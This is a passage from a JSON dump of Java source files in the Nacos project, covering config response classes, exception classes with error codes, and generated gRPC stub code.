    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * FuzzyListenNotifyChangeResponse.\n *\n * @author stone-98\n * @date 2024/3/18\n */\npublic class ConfigFuzzyWatchChangeNotifyResponse extends Response {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/response/ConfigFuzzyWatchResponse.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * ConfigBatchFuzzyListenResponse.\n *\n * @author stone-98\n * @date 2024/3/4\n */\npublic class ConfigFuzzyWatchResponse extends Response {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/response/ConfigFuzzyWatchSyncResponse.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * FuzzyListenNotifyChangeResponse.\n *\n * @author stone-98\n * @date 2024/3/18\n */\npublic class ConfigFuzzyWatchSyncResponse extends Response {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/response/ConfigPublishResponse.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\n\n/**\n * ConfigPublishResponse.\n *\n * @author liuzunfei\n * @version $Id: ConfigPublishResponse.java, v 0.1 2020年07月16日 4:59 PM liuzunfei Exp $\n */\npublic class ConfigPublishResponse extends Response {\n    \n    public ConfigPublishResponse() {\n        super();\n    }\n    \n    /**\n     * Build success response.\n     *\n     * @return response.\n     */\n    public static ConfigPublishResponse buildSuccessResponse() {\n        return new ConfigPublishResponse();\n    }\n    \n    /**\n     * Build fail response.\n     *\n     * @return response.\n     */\n    public static ConfigPublishResponse buildFailResponse(int errorCode, String errorMsg) {\n        ConfigPublishResponse configPublishResponse = new ConfigPublishResponse();\n        configPublishResponse.setResultCode(ResponseCode.FAIL.getCode());\n        configPublishResponse.setMessage(errorMsg);\n        configPublishResponse.setErrorCode(errorCode);\n        return configPublishResponse;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/response/ConfigQueryResponse.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * ConfigQueryResponse.\n *\n * @author liuzunfei\n * @version $Id: ConfigQueryResponse.java, v 0.1 2020年07月14日 2:47 PM liuzunfei Exp $\n */\npublic class ConfigQueryResponse extends Response {\n    \n    public static final int CONFIG_NOT_FOUND = 300;\n    \n    public static final int CONFIG_QUERY_CONFLICT = 400;\n    \n    public static final int NO_RIGHT = 403;\n    \n    String content;\n    \n    String encryptedDataKey;\n    \n    String contentType;\n    \n    String md5;\n    \n    long lastModified;\n    \n    boolean isBeta;\n    \n    String tag;\n    \n    public ConfigQueryResponse() {\n    }\n    \n    /**\n     * Build fail response.\n     *\n     * @param errorCode errorCode.\n     * @param message   message.\n     * @return response.\n     */\n    public static ConfigQueryResponse buildFailResponse(int errorCode, String message) {\n        ConfigQueryResponse response = new ConfigQueryResponse();\n        response.setErrorInfo(errorCode, message);\n        return response;\n    }\n    \n    /**\n     * Build success response.\n     *\n     * @param content content.\n     * @return response.\n     */\n    public static ConfigQueryResponse buildSuccessResponse(String content) {\n        ConfigQueryResponse response = new ConfigQueryResponse();\n        response.setContent(content);\n        return response;\n    }\n    \n    public String getTag() {\n        return tag;\n    }\n    \n    public void setTag(String tag) {\n        this.tag = tag;\n    }\n    \n    public String getMd5() {\n        return md5;\n    }\n    \n    public void setMd5(String md5) {\n        this.md5 = md5;\n    }\n    \n    public long getLastModified() {\n        return lastModified;\n    }\n    \n    public void setLastModified(long lastModified) {\n        this.lastModified = lastModified;\n    }\n    \n    public boolean isBeta() {\n        return isBeta;\n    }\n    \n    public void setBeta(boolean beta) {\n        isBeta = beta;\n    }\n    \n    /**\n     * Getter method for property <tt>content</tt>.\n     *\n     * @return property value of content\n     */\n    public String getContent() {\n        return content;\n    }\n    \n    /**\n     * Setter method for property <tt>content</tt>.\n     *\n     * @param content value to be assigned to property content\n     */\n    public void setContent(String content) {\n        this.content = content;\n    }\n    \n    public void setEncryptedDataKey(String encryptedDataKey) {\n        this.encryptedDataKey = encryptedDataKey;\n    }\n    \n    public String getEncryptedDataKey() {\n        return encryptedDataKey;\n    }\n    \n    /**\n     * Getter method for property <tt>contentType</tt>.\n     *\n     * @return property value of contentType\n     */\n    public String getContentType() {\n        return contentType;\n    }\n    \n    /**\n     * Setter method for property <tt>contentType</tt>.\n     *\n     * @param contentType value to be assigned to property contentType\n     */\n    public void setContentType(String contentType) {\n        this.contentType = contentType;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/response/ConfigRemoveResponse.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response;\n\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\n\n/**\n * ConfigRemoveResponse.\n *\n * @author liuzunfei\n * @version $Id: ConfigRemoveResponse.java, v 0.1 2020年07月16日 4:59 PM liuzunfei Exp $\n */\npublic class ConfigRemoveResponse extends Response {\n    \n    public ConfigRemoveResponse() {\n        super();\n    }\n    \n    /**\n     * Build success response.\n     *\n     * @return response.\n     */\n    public static ConfigRemoveResponse buildSuccessResponse() {\n        return new ConfigRemoveResponse();\n    }\n    \n    /**\n     * Build fail response.\n     *\n     * @return response.\n     */\n    public static ConfigRemoveResponse buildFailResponse(String errorMsg) {\n        ConfigRemoveResponse removeResponse = new ConfigRemoveResponse();\n        removeResponse.setResultCode(ResponseCode.FAIL.getCode());\n        removeResponse.setMessage(errorMsg);\n        return removeResponse;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/remote/response/cluster/ConfigChangeClusterSyncResponse.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.response.cluster;\n\nimport com.alibaba.nacos.api.remote.response.Response;\n\n/**\n * config change sync response on clusters.\n *\n * @author liuzunfei\n * @version $Id: ConfigChangeClusterSyncResponse.java, v 0.1 2020年08月11日 4:32 PM liuzunfei Exp $\n */\npublic class ConfigChangeClusterSyncResponse extends Response {\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/exception/NacosException.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.exception;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.utils.StringUtils;\n\n/**\n * Nacos Exception.\n *\n * @author Nacos\n */\npublic class NacosException extends Exception {\n    \n    /**\n     * serialVersionUID.\n     */\n    private static final long serialVersionUID = -3913902031489277776L;\n    \n    private int errCode;\n    \n    private String errMsg;\n    \n    private Throwable causeThrowable;\n    \n    public NacosException() {\n    }\n    \n    public NacosException(final int errCode, final String errMsg) {\n        super(errMsg);\n        this.errCode = errCode;\n        this.errMsg = errMsg;\n    }\n    \n    public NacosException(final int errCode, final Throwable throwable) {\n        super(throwable);\n        this.errCode = errCode;\n        this.setCauseThrowable(throwable);\n    }\n    \n    public NacosException(final int errCode, final String errMsg, final Throwable throwable) {\n        super(errMsg, throwable);\n        this.errCode = errCode;\n        this.errMsg = errMsg;\n        this.setCauseThrowable(throwable);\n    }\n    \n    public int getErrCode() {\n        return this.errCode;\n    }\n    \n    public String getErrMsg() {\n        if (!StringUtils.isBlank(this.errMsg)) {\n            return this.errMsg;\n        }\n        if (this.causeThrowable != null) {\n            return this.causeThrowable.getMessage();\n        }\n        return Constants.NULL;\n    }\n    \n    public void setErrCode(final int errCode) {\n        this.errCode = errCode;\n    }\n    \n    public void setErrMsg(final String errMsg) {\n        this.errMsg = errMsg;\n    }\n    \n    public void setCauseThrowable(final Throwable throwable) {\n        this.causeThrowable = this.getCauseThrowable(throwable);\n    }\n    \n    private Throwable getCauseThrowable(final Throwable t) {\n        if (t.getCause() == null) {\n            return t;\n        }\n        return this.getCauseThrowable(t.getCause());\n    }\n    \n    @Override\n    public String toString() {\n        return \"ErrCode:\" + getErrCode() + \", ErrMsg:\" + getErrMsg();\n    }\n    \n    /*\n     * client error code.\n     * -400 -503 throw exception to user.\n     */\n    \n    /**\n     * invalid param（参数错误）.\n     */\n    public static final int CLIENT_INVALID_PARAM = -400;\n    \n    /**\n     * client disconnect.\n     */\n    public static final int CLIENT_DISCONNECT = -401;\n    \n    /**\n     * over client threshold（超过client端的限流阈值）.\n     */\n    public static final int CLIENT_OVER_THRESHOLD = -503;\n    \n    /*\n     * server error code.\n     * 400 403 throw exception to user\n     * 500 502 503 change ip and retry\n     */\n    \n    /**\n     * invalid param（参数错误）.\n     */\n    public static final int INVALID_PARAM = 400;\n    \n    /**\n     * no right（鉴权失败）.\n     */\n    public static final int NO_RIGHT = 403;\n    \n    /**\n     * not found.\n     */\n    public static final int NOT_FOUND = 404;\n    \n    /**\n     * not modified.\n     */\n    public static final int NOT_MODIFIED = 304;\n    \n    /**\n     * conflict（写并发冲突）.\n     */\n    public static final int CONFLICT = 409;\n    \n    /**\n     * config already exists（配置已存在）.\n     */\n    public static final int CONFIG_ALREADY_EXISTS = 410;\n    \n    /**\n     * server error（server异常，如超时）.\n     */\n    public static final int SERVER_ERROR = 500;\n    \n    /**\n     * server not implemented（server不支持该请求，可能该版本未实现功能，或请求了错误的API）.\n     */\n    public static final int SERVER_NOT_IMPLEMENTED = 501;\n    \n    /**\n     * client error（client异常，返回给服务端）.\n     */\n    public static final int CLIENT_ERROR = -500;\n    \n    /**\n     * bad gateway（路由异常，如nginx后面的Server挂掉）.\n     */\n    public static final int BAD_GATEWAY = 502;\n    \n    /**\n     * over threshold（超过server端的限流阈值）.\n     */\n    public static final int OVER_THRESHOLD = 503;\n    \n    /**\n     * Server is not started.\n     */\n    public static final int INVALID_SERVER_STATUS = 300;\n    \n    /**\n     * Connection is not registered.\n     */\n    public static final int UN_REGISTER = 301;\n    \n    /**\n     * No Handler Found.\n     */\n    public static final int NO_HANDLER = 302;\n    \n    public static final int RESOURCE_NOT_FOUND = -404;\n    \n    /**\n     * http client error code, ome exceptions that occurred when there use the Nacos RestTemplate and Nacos\n     * AsyncRestTemplate.\n     */\n    public static final int HTTP_CLIENT_ERROR_CODE = -500;\n    \n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/exception/api/NacosApiException.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.exception.api;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.utils.StringUtils;\n\n/** Exception for open API. <BR/>\n * errCode          ->  HTTP status code        inherited from {@link NacosException} <BR/>\n * errMsg           ->  detail error message    inherited from {@link NacosException} <BR/>\n * detailErrCode    ->  error code for api v2.0 <BR/>\n * errAbstract      ->  abstract error message for api v2.0\n * @author dongyafei\n * @date 2022/7/22\n */\npublic class NacosApiException extends NacosException {\n    \n    /**\n     * serialVersionUID.\n     */\n    private static final long serialVersionUID = 2245627968556056573L;\n    \n    /**\n     * error code for api v2.0.\n     */\n    private int detailErrCode;\n    \n    /**\n     * abstract error description for api v2.0.\n     */\n    private String errAbstract;\n    \n    public NacosApiException() {\n    }\n    \n    public NacosApiException(int statusCode, ErrorCode errorCode, Throwable throwable, String message) {\n        super(statusCode, message, throwable);\n        this.detailErrCode = errorCode.getCode();\n        this.errAbstract = errorCode.getMsg();\n    }\n    \n    public NacosApiException(int statusCode, ErrorCode errorCode, String message) {\n        super(statusCode, message);\n        this.detailErrCode = errorCode.getCode();\n        this.errAbstract = errorCode.getMsg();\n    }\n    \n    public int getDetailErrCode() {\n        return detailErrCode;\n    }\n    \n    public String getErrAbstract() {\n        if (!StringUtils.isBlank(this.errAbstract)) {\n            return this.errAbstract;\n        }\n        return Constants.NULL;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/exception/runtime/NacosDeserializationException.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.exception.runtime;\n\nimport java.lang.reflect.Type;\n\nimport static com.alibaba.nacos.api.common.Constants.Exception.DESERIALIZE_ERROR_CODE;\n\n/**\n * Nacos deserialization exception.\n *\n * @author yangyi\n */\npublic class NacosDeserializationException extends NacosRuntimeException {\n    \n    private static final long serialVersionUID = -2742350751684273728L;\n    \n    private static final String DEFAULT_MSG = \"Nacos deserialize failed. \";\n    \n    private static final String MSG_FOR_SPECIFIED_CLASS = \"Nacos deserialize for class [%s] failed. \";\n    \n    private static final String ERROR_MSG_FOR_SPECIFIED_CLASS = \"Nacos deserialize for class [%s] failed, cause error[%s]. \";\n    \n    private Class<?> targetClass;\n    \n    public NacosDeserializationException() {\n        super(DESERIALIZE_ERROR_CODE);\n    }\n    \n    public NacosDeserializationException(Class<?> targetClass) {\n        super(DESERIALIZE_ERROR_CODE, String.format(MSG_FOR_SPECIFIED_CLASS, targetClass.getName()));\n        this.targetClass = targetClass;\n    }\n    \n    public NacosDeserializationException(Type targetType) {\n        super(DESERIALIZE_ERROR_CODE, String.format(MSG_FOR_SPECIFIED_CLASS, targetType.toString()));\n    }\n    \n    public NacosDeserializationException(Throwable throwable) {\n        super(DESERIALIZE_ERROR_CODE, DEFAULT_MSG, throwable);\n    }\n    \n    public NacosDeserializationException(Class<?> targetClass, Throwable throwable) {\n        super(DESERIALIZE_ERROR_CODE, String.format(ERROR_MSG_FOR_SPECIFIED_CLASS, targetClass.getName(), throwable.getMessage()), throwable);\n        this.targetClass = targetClass;\n    }\n    \n    public NacosDeserializationException(Type targetType, Throwable throwable) {\n        super(DESERIALIZE_ERROR_CODE, String.format(ERROR_MSG_FOR_SPECIFIED_CLASS, targetType.toString(), throwable.getMessage()), throwable);\n    }\n    \n    public Class<?> getTargetClass() {\n        return targetClass;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/exception/runtime/NacosLoadException.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.exception.runtime;\n\n/**\n * Nacos load exception.\n *\n * @author hujun\n */\npublic class NacosLoadException extends RuntimeException {\n\n    private static final long serialVersionUID = 3513491993982295562L;\n\n    public NacosLoadException(String errMsg) {\n        super(errMsg);\n    }\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/exception/runtime/NacosRuntimeException.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.exception.runtime;\n\n/**\n * Nacos runtime exception.\n *\n * @author yangyi\n */\npublic class NacosRuntimeException extends RuntimeException {\n    \n    private static final long serialVersionUID = 3513491993982293262L;\n    \n    public static final String ERROR_MESSAGE_FORMAT = \"errCode: %d, errMsg: %s \";\n    \n    private final int errCode;\n    \n    public NacosRuntimeException(int errCode) {\n        super();\n        this.errCode = errCode;\n    }\n    \n    public NacosRuntimeException(int errCode, String errMsg) {\n        super(String.format(ERROR_MESSAGE_FORMAT, errCode, errMsg));\n        this.errCode = errCode;\n    }\n    \n    public NacosRuntimeException(int errCode, Throwable throwable) {\n        super(throwable);\n        this.errCode = errCode;\n    }\n    \n    public NacosRuntimeException(int errCode, String errMsg, Throwable throwable) {\n        super(String.format(ERROR_MESSAGE_FORMAT, errCode, errMsg), throwable);\n        this.errCode = errCode;\n    }\n    \n    public int getErrCode() {\n        return errCode;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/exception/runtime/NacosSerializationException.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.exception.runtime;\n\nimport static com.alibaba.nacos.api.common.Constants.Exception.SERIALIZE_ERROR_CODE;\n\n/**\n * Nacos serialization exception.\n *\n * @author yangyi\n */\npublic class NacosSerializationException extends NacosRuntimeException {\n    \n    private static final long serialVersionUID = -4308536346316915612L;\n    \n    private static final String DEFAULT_MSG = \"Nacos serialize failed. \";\n    \n    private static final String MSG_FOR_SPECIFIED_CLASS = \"Nacos serialize for class [%s] failed. \";\n    \n    private Class<?> serializedClass;\n    \n    public NacosSerializationException() {\n        super(SERIALIZE_ERROR_CODE);\n    }\n    \n    public NacosSerializationException(Class<?> serializedClass) {\n        super(SERIALIZE_ERROR_CODE, String.format(MSG_FOR_SPECIFIED_CLASS, serializedClass.getName()));\n        this.serializedClass = serializedClass;\n    }\n    \n    public NacosSerializationException(Throwable throwable) {\n        super(SERIALIZE_ERROR_CODE, DEFAULT_MSG, throwable);\n    }\n    \n    public NacosSerializationException(Class<?> serializedClass, Throwable throwable) {\n        super(SERIALIZE_ERROR_CODE, String.format(MSG_FOR_SPECIFIED_CLASS, serializedClass.getName()), throwable);\n        this.serializedClass = serializedClass;\n    }\n    \n    public Class<?> getSerializedClass() {\n        return serializedClass;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/grpc/auto/BiRequestStreamGrpc.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.grpc.auto;\n\nimport static io.grpc.MethodDescriptor.generateFullMethodName;\nimport static io.grpc.stub.ClientCalls.asyncBidiStreamingCall;\nimport static io.grpc.stub.ServerCalls.asyncBidiStreamingCall;\nimport static io.grpc.stub.ServerCalls.asyncUnimplementedStreamingCall;\n\n/**\n */\n@javax.annotation.Generated(\n    value = \"by gRPC proto compiler (version 1.14.0)\",\n    comments = \"Source: nacos_grpc_service.proto\")\npublic final class BiRequestStreamGrpc {\n\n  private BiRequestStreamGrpc() {}\n\n  public static final String SERVICE_NAME = \"BiRequestStream\";\n\n  // Static method descriptors that strictly reflect the proto.\n  private static volatile io.grpc.MethodDescriptor<com.alibaba.nacos.api.grpc.auto.Payload,\n      com.alibaba.nacos.api.grpc.auto.Payload> getRequestBiStreamMethod;\n\n  @io.grpc.stub.annotations.RpcMethod(\n      fullMethodName = SERVICE_NAME + '/' + \"requestBiStream\",\n      requestType = com.alibaba.nacos.api.grpc.auto.Payload.class,\n      responseType = com.alibaba.nacos.api.grpc.auto.Payload.class,\n      methodType = io.grpc.MethodDescriptor.MethodType.BIDI_STREAMING)\n  public static io.grpc.MethodDescriptor<com.alibaba.nacos.api.grpc.auto.Payload,\n      com.alibaba.nacos.api.grpc.auto.Payload> getRequestBiStreamMethod() {\n    io.grpc.MethodDescriptor<com.alibaba.nacos.api.grpc.auto.Payload, com.alibaba.nacos.api.grpc.auto.Payload> getRequestBiStreamMethod;\n    if ((getRequestBiStreamMethod = BiRequestStreamGrpc.getRequestBiStreamMethod) == null) {\n      synchronized (BiRequestStreamGrpc.class) {\n        if ((getRequestBiStreamMethod = BiRequestStreamGrpc.getRequestBiStreamMethod) == null) {\n          BiRequestStreamGrpc.getRequestBiStreamMethod = getRequestBiStreamMethod = \n              io.grpc.MethodDescriptor.<com.alibaba.nacos.api.grpc.auto.Payload, com.alibaba.nacos.api.grpc.auto.Payload>newBuilder()\n              .setType(io.grpc.MethodDescriptor.MethodType.BIDI_STREAMING)\n              .setFullMethodName(generateFullMethodName(\n                  \"BiRequestStream\", \"requestBiStream\"))\n              .setSampledToLocalTracing(true)\n              .setRequestMarshaller(io.grpc.protobuf.ProtoUtils.marshaller(\n                  com.alibaba.nacos.api.grpc.auto.Payload.getDefaultInstance()))\n              .setResponseMarshaller(io.grpc.protobuf.ProtoUtils.marshaller(\n                  com.alibaba.nacos.api.grpc.auto.Payload.getDefaultInstance()))\n                  .setSchemaDescriptor(new BiRequestStreamMethodDescriptorSupplier(\"requestBiStream\"))\n                  .build();\n          }\n        }\n     }\n     return getRequestBiStreamMethod;\n  }\n\n  /**\n   * Creates a new async stub that supports all call types for the service\n   */\n  public static BiRequestStreamStub newStub(io.grpc.Channel channel) {\n    return new BiRequestStreamStub(channel);\n  }\n\n  /**\n   * Creates a new blocking-style stub that supports unary and streaming output calls on the service\n   */\n  public static BiRequestStreamBlockingStub newBlockingStub(\n      io.grpc.Channel channel) {\n    return new BiRequestStreamBlockingStub(channel);\n  }\n\n  /**\n   * Creates a new ListenableFuture-style stub that supports unary calls on the service\n   */\n  public static BiRequestStreamFutureStub newFutureStub(\n      io.grpc.Channel channel) {\n    return new BiRequestStreamFutureStub(channel);\n  }\n\n  /**\n   */\n  public static abstract class BiRequestStreamImplBase implements io.grpc.BindableService {\n\n    /**\n     * <pre>\n     * Sends a commonRequest\n     * </pre>\n     */\n    public io.grpc.stub.StreamObserver<com.alibaba.nacos.api.grpc.auto.Payload> requestBiStream(\n        io.grpc.stub.StreamObserver<com.alibaba.nacos.api.grpc.auto.Payload> responseObserver) {\n      return asyncUnimplementedStreamingCall(getRequestBiStreamMethod(), responseObserver);\n    }\n\n    @Override public final io.grpc.ServerServiceDefinition bindService() {\n      return io.grpc.ServerServiceDefinition.builder(getServiceDescriptor())\n          .addMethod(\n            getRequestBiStreamMethod(),\n            asyncBidiStreamingCall(\n              new MethodHandlers<\n                com.alibaba.nacos.api.grpc.auto.Payload,\n                com.alibaba.nacos.api.grpc.auto.Payload>(\n                  this, METHODID_REQUEST_BI_STREAM)))\n          .build();\n    }\n  }\n\n  /**\n   */\n  public static final class BiRequestStreamStub extends io.grpc.stub.AbstractStub<BiRequestStreamStub> {\n    private BiRequestStreamStub(io.grpc.Channel channel) {\n      super(channel);\n    }\n\n    private BiRequestStreamStub(io.grpc.Channel channel,\n        io.grpc.CallOptions callOptions) {\n      super(channel, callOptions);\n    }\n\n    @Override\n    protected BiRequestStreamStub build(io.grpc.Channel channel,\n        io.grpc.CallOptions callOptions) {\n      return new BiRequestStreamStub(channel, callOptions);\n    }\n\n    /**\n     * <pre>\n     * Sends a commonRequest\n     * </pre>\n     */\n    public io.grpc.stub.StreamObserver<com.alibaba.nacos.api.grpc.auto.Payload> requestBiStream(\n        io.grpc.stub.StreamObserver<com.alibaba.nacos.api.grpc.auto.Payload> responseObserver) {\n      return asyncBidiStreamingCall(\n          getChannel().newCall(getRequestBiStreamMethod(), getCallOptions()), responseObserver);\n    }\n  }\n\n  /**\n   */\n  public static final class BiRequestStreamBlockingStub extends io.grpc.stub.AbstractStub<BiRequestStreamBlockingStub> {\n    private BiRequestStreamBlockingStub(io.grpc.Channel channel) {\n      super(channel);\n    }\n\n    private BiRequestStreamBlockingStub(io.grpc.Channel channel,\n        io.grpc.CallOptions callOptions) {\n      super(channel, callOptions);\n    }\n\n    @Override\n    protected BiRequestStreamBlockingStub build(io.grpc.Channel channel,\n        io.grpc.CallOptions callOptions) {\n      return new BiRequestStreamBlockingStub(channel, callOptions);\n    }\n  }\n\n  /**\n   */\n  public static final class BiRequestStreamFutureStub extends io.grpc.stub.AbstractStub<BiRequestStreamFutureStub> {\n    private BiRequestStreamFutureStub(io.grpc.Channel channel) {\n      super(channel);\n    }\n\n    private BiRequestStreamFutureStub(io.grpc.Channel channel,\n        